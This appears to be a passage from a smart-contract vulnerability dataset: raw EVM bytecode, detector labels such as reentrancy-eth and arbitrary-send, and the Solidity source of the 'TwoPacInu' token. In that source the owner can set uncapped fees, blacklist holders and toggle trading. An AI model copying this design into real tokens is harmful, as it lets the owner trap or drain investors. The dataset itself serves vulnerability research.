836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b41ea35d3da1a5447768f161682652ece56a68bed750e83edb4db443164de9664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,693 |
0x22fb52c9ba9da11d2604d91f500011b5c5669fa4 | /**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/*
https://t.me/TwoPacInu
https://twitter.com/2pacInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TwoPacInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "2PacInu";
string private constant _symbol = "2Pac";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xfB0f6f7Fa96808dEfF3e879a1AC65379D88ACC34);
address payable private _marketingAddress = payable(0xfB0f6f7Fa96808dEfF3e879a1AC65379D88ACC34);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000 * 10**9;
uint256 public _maxWalletSize = 3000000000 * 10**9;
uint256 public _swapTokensAtAmount = 3000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd8014610532578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b806398a5c315146104a2578063a2a957bb146104c2578063a9059cbb146104e2578063bfd792841461050257600080fd5b80638da5cb5b116100d15780638da5cb5b146104215780638f70ccf71461043f5780638f9a55c01461045f57806395d89b411461047557600080fd5b806374010ece146103be5780637d1db4a5146103de5780637f2feddc146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118dc565b6105cd565b005b3480156101ff57600080fd5b5060408051808201909152600781526632506163496e7560c81b60208201525b60405161022c91906119a1565b60405180910390f35b34801561024157600080fd5b506102556102503660046119f6565b6106aa565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b5067016345785d8a00005b60405190815260200161022c565b3480156102ce57600080fd5b506102556102dd366004611a22565b6106c1565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022c565b34801561032057600080fd5b50601554610285906001600160a01b031681565b34801561034057600080fd5b506101f161034f366004611a63565b61072a565b34801561036057600080fd5b506101f161036f366004611a80565b610775565b34801561038057600080fd5b506101f16107bd565b34801561039557600080fd5b506102b46103a4366004611a63565b610808565b3480156103b557600080fd5b506101f161082a565b3480156103ca57600080fd5b506101f16103d9366004611aa2565b61089e565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506102b461040f366004611a63565b60116020526000908152604090205481565b34801561042d57600080fd5b506000546001600160a01b0316610285565b34801561044b57600080fd5b506101f161045a366004611a80565b6108cd565b34801561046b57600080fd5b506102b460175481565b34801561048157600080fd5b506040805180820190915260048152633250616360e01b602082015261021f565b3480156104ae57600080fd5b506101f16104bd366004611aa2565b610915565b3480156104ce57600080fd5b506101f16104dd366004611abb565b610958565b3480156104ee57600080fd5b506102556104fd3660046119f6565b610996565b34801561050e57600080fd5b5061025561051d366004611a63565b60106020526000908152604090205460ff1681565b34801561053e57600080fd5b506101f16109a3565b34801561055357600080fd5b506102b4610562366004611aed565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101f16105a8366004611aa2565b6109f7565b3480156105b957600080fd5b506101f16105c8366004611a63565b610a26565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611b26565b60405180910390fd5b6012546001600160a01b0316336001600160a01b0316148061063557506013546001600160a01b0316336001600160a01b0316145b61063e57600080fd5b60005b81518110156106a65760016010600084848151811061066257610662611b5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e81611b87565b915050610641565b5050565b60006106b7338484610b10565b5060015b92915050565b60006106ce848484610c34565b610720843361071b85604051806060016040528060288152602001611c9f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611176565b610b10565b5060019392505050565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105f790611b26565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079f5760405162461bcd60e51b81526004016105f790611b26565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f257506013546001600160a01b0316336001600160a01b0316145b6107fb57600080fd5b47610805816111b0565b50565b6001600160a01b0381166000908152600260205260408120546106bb906111ea565b6000546001600160a01b031633146108545760405162461bcd60e51b81526004016105f790611b26565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c85760405162461bcd60e51b81526004016105f790611b26565b601655565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016105f790611b26565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061094a57506013546001600160a01b0316336001600160a01b0316145b61095357600080fd5b601855565b6000546001600160a01b031633146109825760405162461bcd60e51b81526004016105f790611b26565b600893909355600a91909155600955600b55565b60006106b7338484610c34565b6012546001600160a01b0316336001600160a01b031614806109d857506013546001600160a01b0316336001600160a01b0316145b6109e157600080fd5b60006109ec30610808565b90506108058161126e565b6000546001600160a01b03163314610a215760405162461bcd60e51b81526004016105f790611b26565b601755565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016105f790611b26565b6001600160a01b038116610ab55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610bd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c985760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610cfa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610d5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610d8857506000546001600160a01b03838116911614155b1561106957601554600160a01b900460ff16610e21576000546001600160a01b03848116911614610e215760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610e735760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610eb557506001600160a01b03821660009081526010602052604090205460ff16155b610f0d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610f925760175481610f2f84610808565b610f399190611ba0565b10610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610f9d30610808565b601854601654919250821015908210610fb65760165491505b808015610fcd5750601554600160a81b900460ff16155b8015610fe757506015546001600160a01b03868116911614155b8015610ffc5750601554600160b01b900460ff165b801561102157506001600160a01b03851660009081526005602052604090205460ff16155b801561104657506001600160a01b03841660009081526005602052604090205460ff16155b15611066576110548261126e565b47801561106457611064476111b0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ab57506001600160a01b03831660009081526005602052604090205460ff165b806110dd57506015546001600160a01b038581169116148015906110dd57506015546001600160a01b03848116911614155b156110ea57506000611164565b6015546001600160a01b03858116911614801561111557506014546001600160a01b03848116911614155b1561112757600854600c55600954600d555b6015546001600160a01b03848116911614801561115257506014546001600160a01b03858116911614155b1561116457600a54600c55600b54600d555b611170848484846113e8565b50505050565b6000818484111561119a5760405162461bcd60e51b81526004016105f791906119a1565b5060006111a78486611bb8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a6573d6000803e3d6000fd5b60006006548211156112515760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b600061125b611416565b90506112678382611439565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b6576112b6611b5b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190611bcf565b8160018151811061134657611346611b5b565b6001600160a01b03928316602091820292909201015260145461136c9130911684610b10565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a5908590600090869030904290600401611bec565b600060405180830381600087803b1580156113bf57600080fd5b505af11580156113d3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113f5576113f561147b565b6114008484846114a9565b8061117057611170600e54600c55600f54600d55565b60008060006114236115a0565b90925090506114328282611439565b9250505090565b600061126783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e0565b600c5415801561148b5750600d54155b1561149257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114bb8761160e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ed908761166b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461151c90866116ad565b6001600160a01b03891660009081526002602052604090205561153e8161170c565b6115488483611756565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161158d91815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006115bb8282611439565b8210156115d75750506006549267016345785d8a000092509050565b90939092509050565b600081836116015760405162461bcd60e51b81526004016105f791906119a1565b5060006111a78486611c5d565b600080600080600080600080600061162b8a600c54600d5461177a565b925092509250600061163b611416565b9050600080600061164e8e8787876117cf565b919e509c509a509598509396509194505050505091939550919395565b600061126783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611176565b6000806116ba8385611ba0565b9050838110156112675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b6000611716611416565b90506000611724838361181f565b3060009081526002602052604090205490915061174190826116ad565b30600090815260026020526040902055505050565b600654611763908361166b565b60065560075461177390826116ad565b6007555050565b6000808080611794606461178e898961181f565b90611439565b905060006117a7606461178e8a8961181f565b905060006117bf826117b98b8661166b565b9061166b565b9992985090965090945050505050565b60008080806117de888661181f565b905060006117ec888761181f565b905060006117fa888861181f565b9050600061180c826117b9868661166b565b939b939a50919850919650505050505050565b600082600003611831575060006106bb565b600061183d8385611c7f565b90508261184a8583611c5d565b146112675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080557600080fd5b80356118d7816118b7565b919050565b600060208083850312156118ef57600080fd5b823567ffffffffffffffff8082111561190757600080fd5b818501915085601f83011261191b57600080fd5b81358181111561192d5761192d6118a1565b8060051b604051601f19603f83011681018181108582111715611952576119526118a1565b60405291825284820192508381018501918883111561197057600080fd5b938501935b8285101561199557611986856118cc565b84529385019392850192611975565b98975050505050505050565b600060208083528351808285015260005b818110156119ce578581018301518582016040015282016119b2565b818111156119e0576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a0957600080fd5b8235611a14816118b7565b946020939093013593505050565b600080600060608486031215611a3757600080fd5b8335611a42816118b7565b92506020840135611a52816118b7565b929592945050506040919091013590565b600060208284031215611a7557600080fd5b8135611267816118b7565b600060208284031215611a9257600080fd5b8135801515811461126757600080fd5b600060208284031215611ab457600080fd5b5035919050565b60008060008060808587031215611ad157600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b0057600080fd5b8235611b0b816118b7565b91506020830135611b1b816118b7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9957611b99611b71565b5060010190565b60008219821115611bb357611bb3611b71565b500190565b600082821015611bca57611bca611b71565b500390565b600060208284031215611be157600080fd5b8151611267816118b7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c3c5784516001600160a01b031683529383019391830191600101611c17565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c7a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c9957611c99611b71565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c39d6f0dbb9a60ccfc4404d89d032ec1c2bb356a15bf45d538ea448d82eeff8d64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,694 |
0x09eb73f1589054e2e6ef3f7ffa09ee5dcb4b0551 | /**
*Submitted for verification at Etherscan.io on 2021-02-16
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* ___ ___ _______ ________ ________
* |\ \ / /|\ ___ \ |\ ____\|\ __ \
* \ \ \ / / | \ __/|\ \ \___|\ \ \|\ \
* \ \ \/ / / \ \ \_|/_\ \ \ __\ \ __ \
* \ \ / / \ \ \_|\ \ \ \|\ \ \ \ \ \
* \ \__/ / \ \_______\ \_______\ \__\ \__\
* \|__|/ \|_______|\|_______|\|__|\|__|
*
* ________ ________ ________ _________ ________ ________ ________ ___
* |\ __ \|\ __ \|\ __ \|\___ ___\\ __ \|\ ____\|\ __ \|\ \
* \ \ \|\ \ \ \|\ \ \ \|\ \|___ \ \_\ \ \|\ \ \ \___|\ \ \|\ \ \ \
* \ \ ____\ \ _ _\ \ \\\ \ \ \ \ \ \ \\\ \ \ \ \ \ \\\ \ \ \
* \ \ \___|\ \ \\ \\ \ \\\ \ \ \ \ \ \ \\\ \ \ \____\ \ \\\ \ \ \____
* \ \__\ \ \__\\ _\\ \_______\ \ \__\ \ \_______\ \_______\ \_______\ \_______\
* \|__| \|__|\|__|\|_______| \|__| \|_______|\|_______|\|_______|\|_______|
*
* Create & trade fully decentralised margined financial products.
* https://vega.xyz/about
*/
/**
